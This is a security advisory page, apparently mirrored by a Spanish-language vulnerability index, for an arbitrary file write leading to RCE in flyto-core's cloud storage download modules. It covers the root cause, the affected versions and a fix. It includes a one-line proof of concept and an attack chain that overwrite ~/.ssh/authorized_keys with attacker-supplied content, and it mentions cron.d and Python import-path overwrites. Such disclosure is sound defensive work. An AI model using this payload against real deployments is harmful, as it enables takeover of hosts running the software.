GHSA-HMQ9-XW4W-7PPC
Arbitrary file write via unvalidated destination_path in cloud.{azure,gcs,aws_s3}.download modules (RCE)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-HMQ9-XW4W-7PPC divulgada · CVSS 9.9 (GitHub) | |
| Remediación | Parche 2.26.11 | flyto-core · 0 d desde divulgación | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
## Summary
The cloud storage download modules (`cloud.azure.download`, `cloud.gcs.download`, `cloud.aws_s3.download`, `aws.s3.download`) write a fetched object to a fully caller-controlled `destination_path` with no path validation (`validate_path_with_env_config` absent from all four files). Because the attacker also supplies their own storage credentials and object name, the content is fully attacker-controlled and the destination path is arbitrary — yielding arbitrary file write outside the sandbox and thus remote code execution.
## Root Cause
`src/core/modules/third_party/cloud/azure.py`: `os.makedirs(dirname(destination_path))` at :345-347 then `open(destination_path,'wb').write(blob.download_blob().readall())` at :357-358. `cloud.azure.download` even self-tags `path_restricted` in its schema while enforcing nothing. Same primitive in `cloud/gcs.py` (`download_to_filename`), `cloud/storage.py` (aws_s3 `s3.download_file`), and `cloud/aws/s3_download.py:132-134`. `grep -c validate_path_with_env_config` = 0 in all four files.
This is the same arbitrary-write class as advisories `GHSA-2956-977x-2w3r` and `GHSA-p34x-fmph-9fjx`, but the cloud-storage module family is in NEITHER enumeration (GHSA-2956-977x-2w3r = image.*/document.*/browser.pagination; GHSA-p34x-fmph-9fjx = data.csv.write/data.json_to_csv/file.copy/file.move + a "data.*/file.*/report-writer" catch-all that does not reach `cloud.*`). No path guard exists on HEAD.
## Impact
Authenticated (PR:L) arbitrary file write with attacker-controlled content at an attacker-chosen absolute path outside `FLYTO_SANDBOX_DIR`. Overwriting `~/.ssh/authorized_keys`, a `cron.d` entry, or a `.pth`/`.py` on the import path yields RCE. Scope Changed (escapes the module sandbox to the host filesystem); C:H/I:H/A:H.
## Proof of Concept
`cloud.azure.download {"connection_string":"<attacker-owned account>", "container":"c", "blob_name":"payload", "destination_path":"/home/app/.ssh/authorized_keys"}` → the attacker's blob bytes are written verbatim to the SSH authorized_keys file.
## Attack Chain
1. Entry: authed execute_module `cloud.azure.download {connection_string:"<attacker acct>", container:"c", blob_name:"payload", destination_path:"/home/app/.ssh/authorized_keys"}`.
Guard: schema tag `path_restricted`. Bypass proof: `grep validate_path_* azure.py` = 0; `destination_path` is used verbatim.
2. Sink: `os.makedirs(dirname(destination_path))` (:345-347) then `open(destination_path,'wb').write(blob.readall())` (:357-358). aws.s3.download analog: `client.download_file(bucket,key,output_path)` at s3_download.py:134 after `os.makedirs` at :132.
3. Impact: attacker's blob bytes written to attacker-chosen absolute path → overwrite authorized_keys / cron.d / import-path .py → RCE.
## Bypass Evidence
`grep -c validate_path_with_env_config` = 0 for azure.py, gcs.py, storage.py, aws/s3_download.py. The p34x-fixed sibling `csv_write` shows guard count 2. Cloud family is in neither GHSA-2956-977x-2w3r nor GHSA-p34x-fmph-9fjx enumeration.
## Affected Versions
`flyto-core <= 2.26.10` (sinks present on the v2.26.10 release tag).
## Suggested Fix
Call `validate_path_with_env_config(destination_path)` (the guard already used by the p34x-fixed write modules) in all four cloud download handlers before `os.makedirs`/`open`, confining writes to the configured sandbox directory.
---
Reported by zx (Jace) — GitHub: @manus-use
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
pypiflyto-core |
Corregida | 2.26.11 | 0 d | 2.41.0 no afectada |
2.26.11Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/flytohub/flyto-core/security/advisories/GHSA-hmq9-xw4w-7ppcLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
